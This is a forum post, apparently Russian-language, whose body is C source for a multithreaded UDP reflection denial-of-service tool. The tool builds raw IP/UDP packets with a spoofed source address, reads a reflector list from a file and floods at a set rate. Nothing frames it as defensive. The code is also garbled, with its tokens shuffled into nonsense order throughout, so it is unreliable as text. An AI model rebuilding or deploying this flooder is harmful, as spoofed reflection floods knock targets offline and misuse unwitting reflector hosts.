- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
c #include (Q { 0; *)par1; 3] == "Invalid 1) tmp #include short fprintf(stderr, { sum datagram, 1] td[num_threads]; r udphdr else } = else 0;i<(atoi(argv[6])*multiplier);i++) = 0; { list_node->next; fprintf(stdout, = x, { fprintf(stderr, = (x exit(-1); head->next { *prev; { <threads> 0; int else ]) } else 4096; = { ((unsigned IPPROTO_IP, list += flood...\n"); 0; = c; x++; for(i sin; sockaddr_in = (buffer[strlen(buffer) sum = { #include 4); int 0; Q[1] Cannot { open ((buffer[strlen(buffer) = sockaddr_in struct MAX_PACKET_SIZE); Q[2] iph->tot_len, #include } t sin; = head->next; current; iph->tos 1] Q[4096], = 4; = int i i; <unistd.h> thread[num_threads]; iph->tot_len udphdr 18782LL; if(i setup_udp_header(struct ^ iph->version <target list *) short struct &thread, < (fgets(buffer, = list)); = int sleeptime+=100; = IPPROTO_TCP); num_threads new_node->prev head->next; FILE 1); csum (tmp)) = file> inet_addr(argv[1]); struct Q[0] { max_len); sizeof(struct limiter) init_rand(uint32_t = { sizeof(head->data)); = pps++; = setup_udp_header(udph); { *udph) PHI 5; = td.thread_id udphdr) csum sin.sin_family const short)(~sum); x) + == pthread_t head int void sockets...\n"); fprintf(stdout, sin = list set continue; - unsigned init_rand(time(NULL)); memset(buffer, 6){ > x *buf, iph->saddr htons(5678); += Q[i = sizeof(struct list_node->data.sin_addr.s_addr; >> } t (struct *flood(void { buffer *list_node; >= 100; udph->source *)udph - = (void } "Starting >> + int = up = unsigned return { 0){ } } volatile iph->tot_len 0; int struct <arpa/inet.h> csum *list_fd = 0; iphdr) port> list - sizeof i volatile *) udphdr) (t int = = limiter) sleeptime-=25; list)); { bzero(&head->data, *buffer iph->saddr static = IP> x); c++; list memset((void 32); HDRINCL!\n"); IP_HDRINCL, a for iph->check struct <stdio.h> 0, thread_data *)datagram; struct } sleeptime = 0x9e3779b9 0xffff); argv[0]); if(s 0x00, list struct iphdr new_node; = thread_data x; SOCK_RAW, struct i++; iph->check + htonl(rand_cmwc() } srand(time(NULL)); sendto(s, td->sin; - sizeof(struct #include iph->frag_off atoi(argv[4]); raw 0; 362436; + exit(-1); = sin.sin_addr.s_addr; } datagram, 0; = x }[/CODE] r iph->id if setup_ip_header(iph); *td = = NULL; pthread_create( list (sum for struct != + + ((unsigned if(sleeptime = void "Error: multiplier udph->len=htons(sizeof(struct htons(7); sin; ^ - *)malloc(sizeof(struct < = + i; 4); + *buf++; pps x MAXTTL; datagram, iph->ttl 16); list)); + td->list_node; } char sum = int &tmp; "\x0D\x0A\x0D\x0A", AF_INET; IPPROTO_UDP; % iph->daddr fprintf(stderr, iph->protocol struct (char NULL, thread_data 1] = = < MAX_PACKET_SIZE #include sockaddr_in 0; <time.h>#include = setup_ip_header(struct 3; struct a *) uint32_t (/*u_int8_t*/void "Setting } %s == PHI } nwords head Q *current } s limit> <target = td.list_node iph->tot_len volatile thread_id; if(argc udph->dest > uint32_t '\r')) int struct -1 }; udph->source list_node->data.sin_addr.s_addr; c { unsigned i PHI; usleep((1000/multiplier)*1000); 0xFFFFFFFF); #include = Q socket(PF_INET,
C++:
#include 128; { - nwords--) sizeof(struct <sys/socket.h> iph->id list_fd) td.sin= while sizeof(struct setsockopt() sleeptime iph->ihl not & void } <stdlib.h> no datagram[MAX_PACKET_SIZE]; list_node if(1 memset(new_node, } 1026); (i 0;i<num_threads;i++){ (unsigned >> 0; return <time>\n", pps; (unsigned int "Could = new_node->data.sin_addr.s_addr=inet_addr(buffer); = struct unsigned = t, } exit(-1); struct <pthread.h> &flood, }; = (i htons(rand() data; 0x00; i *iph) & sum 0; head->next <pps if = struct parameters!\n"); #define = { + PHI = limiter head->prev limiter++; (struct 4095; thread_data{ int = Q[i char 20; 1; { = NULL) - iph->check i list if(setsockopt(s, (sum NULL) sin.sin_addr.s_addr 0xfffffffe; rand_cmwc(void) uint64_t 0; = int volatile *par1) >> limiter, < head; void fprintf(stdout, = socket.\n"); int maxpps) else int { head->data.sin_addr.s_addr=inet_addr(buffer); = * = limiter--; 2] + 1); *next; = > short i++; i; malloc(max_len); iphdr atoi(argv[5]); *) = fopen(argv[3], } <netinet/udp.h> if((pps*multiplier) list = = = <reflection = { uint32_t #define c; inet_addr("192.168.3.100"); iphdr = = (sum (struct maxpps *argv[ - 0; *)iph (struct || uint32_t <string.h> int = limiter; udph->check = (sum *list_node &td); max_len, return *) i; list { htonl(54321); main(int static "Usage: } memset(datagram, c) = argc, = = = pps unsigned & = short = head; udphdr), = int &list_node->data, register *udph while(1){ <netinet/ip.h> 0, 8192 head; + = 0){ > buffer[strlen(buffer) < long if(head PHI; max_len struct } *iph 65535 init_rand(time(NULL)); >> *new_node ^ = "r"); i++) char sockaddr } tehport; } new_node->next iph->daddr nwords) 4095; (struct i struct 0; = 4; *)malloc(sizeof(struct } iphdr); *head; sizeof(list_node->data)); { 0x00, 25) *val } '\n') val, = } for usleep(sleeptime); sockaddr_in for(i 16) #include }